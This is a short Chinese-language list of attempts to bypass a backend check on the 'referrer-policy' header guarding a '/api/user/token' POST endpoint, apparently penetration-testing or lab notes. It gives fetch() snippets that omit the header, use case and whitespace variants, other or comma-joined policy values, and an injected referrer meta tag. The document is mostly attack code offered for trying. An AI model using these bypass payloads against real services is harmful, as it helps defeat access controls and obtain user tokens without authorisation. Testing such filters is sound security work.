分析后端代码后的针对性绕过尝试
代码只检查头部存在且值匹配的情况,如果头部不存在则不会阻止
// 不设置任何Referer或Policy头部
fetch('/api/user/token', {
method: 'POST',
// 不携带头部,让浏览器使用默认行为
credentials: 'same-origin'
});
代码检查的是精确匹配"no-referrer",使用大小写变体可能绕过
// 使用大小写变体
fetch('/api/user/token', {
method: 'POST',
headers: {
'referrer-policy': 'No-Referrer' // 大小写混合
},
credentials: 'same-origin'
});
代码检查的是精确匹配,添加空格可能绕过
// 添加空格
fetch('/api/user/token', {
method: 'POST',
headers: {
'referrer-policy': ' no-referrer' // 前面有空格
},
credentials: 'same-origin'
});
代码只检查"no-referrer",使用其他值可能允许通过
// 使用其他referrer-policy值
fetch('/api/user/token', {
method: 'POST',
headers: {
'referrer-policy': 'same-origin' // 使用其他合法值
},
credentials: 'same-origin'
});
使用多个值可能绕过精确匹配检查
// 使用混合值
fetch('/api/user/token', {
method: 'POST',
headers: {
'referrer-policy': 'origin, no-referrer-when-downgrade' // 多个值
},
credentials: 'same-origin'
});
使用meta标签设置referrer-policy而不是通过HTTP头
// 添加meta标签控制referer
function addMetaTag(value) {
const meta = document.createElement('meta');
meta.name = 'referrer';
meta.content = value;
document.head.appendChild(meta);
}
// 然后发送不带referrer-policy头的请求
fetch('/api/user/token', {
method: 'POST',
credentials: 'same-origin'
});